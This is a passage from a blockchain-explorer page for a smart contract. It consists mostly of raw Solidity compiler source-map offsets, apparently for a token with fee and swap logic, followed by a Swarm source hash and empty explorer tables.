:83;;;;-1:-1:-1;;;;;;7811:22:0;;;;;;:18;:22;;;;;;;;7809:24;7750:83;7746:313;;;7873:12;;7863:6;:22;;7855:60;;;;-1:-1:-1;;;7855:60:0;;11434:2:1;7855:60:0;;;11416:21:1;11473:2;11453:18;;;11446:30;11512:27;11492:18;;;11485:55;11557:18;;7855:60:0;11232:349:1;7855:60:0;7968:14;;7958:6;7942:13;7952:2;-1:-1:-1;;;;;5954:18:0;5927:7;5954:18;;;:9;:18;;;;;;;5861:119;7942:13;:22;;;;:::i;:::-;:40;;7934:79;;;;-1:-1:-1;;;7934:79:0;;11918:2:1;7934:79:0;;;11900:21:1;11957:2;11937:18;;;11930:30;11996:28;11976:18;;;11969:56;12042:18;;7934:79:0;11716:350:1;7934:79:0;8032:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7746:313;8084:13;;-1:-1:-1;;;;;8078:19:0;;;8084:13;;8078:19;:43;;;;-1:-1:-1;;;;;;8101:20:0;;8116:4;8101:20;;8078:43;8075:174;;;8154:79;8229:3;8154:70;8176:16;;8166:9;;:26;8165:58;;8208:15;;8165:58;;;8194:13;;8154:6;;:10;:70::i;:79::-;8142:91;;8075:174;8314:4;8265:28;5954:18;;;:9;:18;;;;;;8340:6;;-1:-1:-1;;;8340:6:0;;;;8339:7;:30;;;;-1:-1:-1;8356:13:0;;-1:-1:-1;;;;;8350:19:0;;;8356:13;;8350:19;8339:30;:45;;;;-1:-1:-1;8373:11:0;;-1:-1:-1;;;8373:11:0;;;;8339:45;:89;;;;;8411:17;;8388:20;:40;8339:89;:123;;;;;8444:18;;8432:9;;:30;8339:123;8335:486;;;8502:13;;8487:12;:28;8483:90;;;8552:1;8540:9;:13;8483:90;8611:1;8599:9;;:13;8591:49;;;;-1:-1:-1;;;8591:49:0;;12273:2:1;8591:49:0;;;12255:21:1;12312:2;12292:18;;;12285:30;12351:25;12331:18;;;12324:53;12394:18;;8591:49:0;12071:347:1;8591:49:0;8659:69;8676:51;8680:6;8688:38;8692:20;8714:11;;8688:3;:38::i;:::-;8676:3;:51::i;:::-;8659:16;:69::i;:::-;8747:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;8793:12:0;8777:13;:28;8335:486;8847:13;;-1:-1:-1;;;;;8841:19:0;;;8847:13;;8841:19;:43;;;;-1:-1:-1;;;;;;8864:20:0;;8879:4;8864:20;;8841:43;8837:119;;;8905:35;8918:21;8905:12;:35::i;:::-;7578:1389;7520:1447;8980:11;;8977:161;;9048:4;9030:24;;;;:9;:24;;;;;;:39;;9059:9;9030:28;:39::i;:::-;9023:4;9005:24;;;;:9;:24;;;;;;;:64;;;;9087:39;;-1:-1:-1;;;;;9087:39:0;;;;;;;9116:9;1500:25:1;;1488:2;1473:18;;1354:177;9087:39:0;;;;;;;;8977:161;9184:13;;9164:53;;-1:-1:-1;;;;;9184:23:0;;;:13;;:23;:32;;9210:6;9184:32;;;9208:1;9184:32;-1:-1:-1;;;;;9164:15:0;;;;;;:9;:15;;;;;;;:19;:53::i;:::-;-1:-1:-1;;;;;9148:15:0;;;;;;:9;:15;;;;;:69;9242:40;9260:21;:6;9271:9;9260:10;:21::i;:::-;-1:-1:-1;;;;;9242:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9228:13:0;;;;;;;:9;:13;;;;;:54;;;;9298:41;;;9317:21;:6;9328:9;9317:10;:21::i;:::-;9298:41;;1500:25:1;;;1488:2;1473:18;9298:41:0;;;;;;;7216:2131;;7147:2200;;;:::o;1325:190::-;1411:7;1447:12;1439:6;;;;1431:29;;;;-1:-1:-1;;;1431:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1471:9:0;1483:5;1487:1;1483;:5;:::i;:::-;1471:17;1325:190;-1:-1:-1;;;;;1325:190:0:o;9463:483::-;5060:6;:13;;-1:-1:-1;;;;5060:13:0;-1:-1:-1;;;5060:13:0;;;9565:16:::1;::::0;;9579:1:::1;9565:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9565:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9565:16:0::1;9541:40;;9610:4;9592;9597:1;9592:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9592:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9636:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9636:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9592:7;;9636:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9626:4;9631:1;9626:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9626:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9701:15:::1;::::0;9669:62:::1;::::0;9686:4:::1;::::0;9701:15:::1;9719:11:::0;9669:8:::1;:62::i;:::-;9742:15;::::0;:196:::1;::::0;-1:-1:-1;;;9742:196:0;;-1:-1:-1;;;;;9742:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9823:11;;9742:15:::1;::::0;9865:4;;9892::::1;::::0;9912:15:::1;::::0;9742:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5096:6:0;:14;;-1:-1:-1;;;;5096:14:0;;;-1:-1:-1;;;;9463:483:0:o;1523:246::-;1581:7;1605:1;1610;1605:6;1601:47;;-1:-1:-1;1635:1:0;1628:8;;1601:47;1658:9;1670:5;1674:1;1670;:5;:::i;:::-;1658:17;-1:-1:-1;1703:1:0;1694:5;1698:1;1658:17;1694:5;:::i;:::-;:10;1686:56;;;;-1:-1:-1;;;1686:56:0;;13965:2:1;1686:56:0;;;13947:21:1;14004:2;13984:18;;;13977:30;14043:34;14023:18;;;14016:62;-1:-1:-1;;;14094:18:1;;;14087:31;14135:19;;1686:56:0;13763:397:1;1686:56:0;1760:1;1523:246;-1:-1:-1;;;1523:246:0:o;1777:132::-;1835:7;1862:39;1866:1;1869;1862:39;;;;;;;;;;;;;;;;;:3;:39::i;9357:98::-;9414:7;9441:1;9439;:3;9438:9;;9446:1;9438:9;;;-1:-1:-1;9444:1:0;9357:98;-1:-1:-1;9357:98:0:o;994:179::-;1052:7;;1084:5;1088:1;1084;:5;:::i;:::-;1072:17;;1113:1;1108;:6;;1100:46;;;;-1:-1:-1;;;1100:46:0;;14367:2:1;1100:46:0;;;14349:21:1;14406:2;14386:18;;;14379:30;14445:29;14425:18;;;14418:57;14492:18;;1100:46:0;14165:351:1;1181:136:0;1239:7;1266:43;1270:1;1273;1266:43;;;;;;;;;;;;;;;;;:3;:43::i;1917:189::-;2003:7;2038:12;2031:5;2023:28;;;;-1:-1:-1;;;2023:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2062:9:0;2074:5;2078:1;2074;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:127::-;2247:10;2242:3;2238:20;2235:1;2228:31;2278:4;2275:1;2268:15;2302:4;2299:1;2292:15;2318:1121;2402:6;2433:2;2476;2464:9;2455:7;2451:23;2447:32;2444:52;;;2492:1;2489;2482:12;2444:52;2532:9;2519:23;2561:18;2602:2;2594:6;2591:14;2588:34;;;2618:1;2615;2608:12;2588:34;2656:6;2645:9;2641:22;2631:32;;2701:7;2694:4;2690:2;2686:13;2682:27;2672:55;;2723:1;2720;2713:12;2672:55;2759:2;2746:16;2781:2;2777;2774:10;2771:36;;;2787:18;;:::i;:::-;2833:2;2830:1;2826:10;2865:2;2859:9;2928:2;2924:7;2919:2;2915;2911:11;2907:25;2899:6;2895:38;2983:6;2971:10;2968:22;2963:2;2951:10;2948:18;2945:46;2942:72;;;2994:18;;:::i;:::-;3030:2;3023:22;3080:18;;;3114:15;;;;-1:-1:-1;3156:11:1;;;3152:20;;;3184:19;;;3181:39;;;3216:1;3213;3206:12;3181:39;3240:11;;;;3260:148;3276:6;3271:3;3268:15;3260:148;;;3342:23;3361:3;3342:23;:::i;:::-;3330:36;;3293:12;;;;3386;;;;3260:148;;;3427:6;2318:1121;-1:-1:-1;;;;;;;;2318:1121:1:o;3444:247::-;3503:6;3556:2;3544:9;3535:7;3531:23;3527:32;3524:52;;;3572:1;3569;3562:12;3524:52;3611:9;3598:23;3630:31;3655:5;3630:31;:::i;3904:388::-;3972:6;3980;4033:2;4021:9;4012:7;4008:23;4004:32;4001:52;;;4049:1;4046;4039:12;4001:52;4088:9;4075:23;4107:31;4132:5;4107:31;:::i;:::-;4157:5;-1:-1:-1;4214:2:1;4199:18;;4186:32;4227:33;4186:32;4227:33;:::i;:::-;4279:7;4269:17;;;3904:388;;;;;:::o;4297:180::-;4356:6;4409:2;4397:9;4388:7;4384:23;4380:32;4377:52;;;4425:1;4422;4415:12;4377:52;-1:-1:-1;4448:23:1;;4297:180;-1:-1:-1;4297:180:1:o;4482:127::-;4543:10;4538:3;4534:20;4531:1;4524:31;4574:4;4571:1;4564:15;4598:4;4595:1;4588:15;4614:422;4703:1;4746:5;4703:1;4760:270;4781:7;4771:8;4768:21;4760:270;;;4840:4;4836:1;4832:6;4828:17;4822:4;4819:27;4816:53;;;4849:18;;:::i;:::-;4899:7;4889:8;4885:22;4882:55;;;4919:16;;;;4882:55;4998:22;;;;4958:15;;;;4760:270;;;4764:3;4614:422;;;;;:::o;5041:806::-;5090:5;5120:8;5110:80;;-1:-1:-1;5161:1:1;5175:5;;5110:80;5209:4;5199:76;;-1:-1:-1;5246:1:1;5260:5;;5199:76;5291:4;5309:1;5304:59;;;;5377:1;5372:130;;;;5284:218;;5304:59;5334:1;5325:10;;5348:5;;;5372:130;5409:3;5399:8;5396:17;5393:43;;;5416:18;;:::i;:::-;-1:-1:-1;;5472:1:1;5458:16;;5487:5;;5284:218;;5586:2;5576:8;5573:16;5567:3;5561:4;5558:13;5554:36;5548:2;5538:8;5535:16;5530:2;5524:4;5521:12;5517:35;5514:77;5511:159;;;-1:-1:-1;5623:19:1;;;5655:5;;5511:159;5702:34;5727:8;5721:4;5702:34;:::i;:::-;5772:6;5768:1;5764:6;5760:19;5751:7;5748:32;5745:58;;;5783:18;;:::i;:::-;5821:20;;5041:806;-1:-1:-1;;;5041:806:1:o;5852:140::-;5910:5;5939:47;5980:4;5970:8;5966:19;5960:4;5939:47;:::i;5997:168::-;6070:9;;;6101;;6118:15;;;6112:22;;6098:37;6088:71;;6139:18;;:::i;6170:356::-;6372:2;6354:21;;;6391:18;;;6384:30;6450:34;6445:2;6430:18;;6423:62;6517:2;6502:18;;6170:356::o;6531:127::-;6592:10;6587:3;6583:20;6580:1;6573:31;6623:4;6620:1;6613:15;6647:4;6644:1;6637:15;6663:135;6702:3;6723:17;;;6720:43;;6743:18;;:::i;:::-;-1:-1:-1;6790:1:1;6779:13;;6663:135::o;6803:251::-;6873:6;6926:2;6914:9;6905:7;6901:23;6897:32;6894:52;;;6942:1;6939;6932:12;6894:52;6974:9;6968:16;6993:31;7018:5;6993:31;:::i;8332:306::-;8420:6;8428;8436;8489:2;8477:9;8468:7;8464:23;8460:32;8457:52;;;8505:1;8502;8495:12;8457:52;8534:9;8528:16;8518:26;;8584:2;8573:9;8569:18;8563:25;8553:35;;8628:2;8617:9;8613:18;8607:25;8597:35;;8332:306;;;;;:::o;8922:277::-;8989:6;9042:2;9030:9;9021:7;9017:23;9013:32;9010:52;;;9058:1;9055;9048:12;9010:52;9090:9;9084:16;9143:5;9136:13;9129:21;9122:5;9119:32;9109:60;;9165:1;9162;9155:12;11586:125;11651:9;;;11672:10;;;11669:36;;;11685:18;;:::i;12423:128::-;12490:9;;;12511:11;;;12508:37;;;12525:18;;:::i;12556:980::-;12818:4;12866:3;12855:9;12851:19;12897:6;12886:9;12879:25;12923:2;12961:6;12956:2;12945:9;12941:18;12934:34;13004:3;12999:2;12988:9;12984:18;12977:31;13028:6;13063;13057:13;13094:6;13086;13079:22;13132:3;13121:9;13117:19;13110:26;;13171:2;13163:6;13159:15;13145:29;;13192:1;13202:195;13216:6;13213:1;13210:13;13202:195;;;13281:13;;-1:-1:-1;;;;;13277:39:1;13265:52;;13372:15;;;;13337:12;;;;13313:1;13231:9;13202:195;;;-1:-1:-1;;;;;;;13453:32:1;;;;13448:2;13433:18;;13426:60;-1:-1:-1;;;13517:3:1;13502:19;13495:35;13414:3;12556:980;-1:-1:-1;;;12556:980:1:o;13541:217::-;13581:1;13607;13597:132;;13651:10;13646:3;13642:20;13639:1;13632:31;13686:4;13683:1;13676:15;13714:4;13711:1;13704:15;13597:132;-1:-1:-1;13743:9:1;;13541:217::o

Swarm Source

ipfs://b37de3caff8a9bebc48b1fb27e0e5dc69c469f96ed6bc9c04a7451ac945dd4e9

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.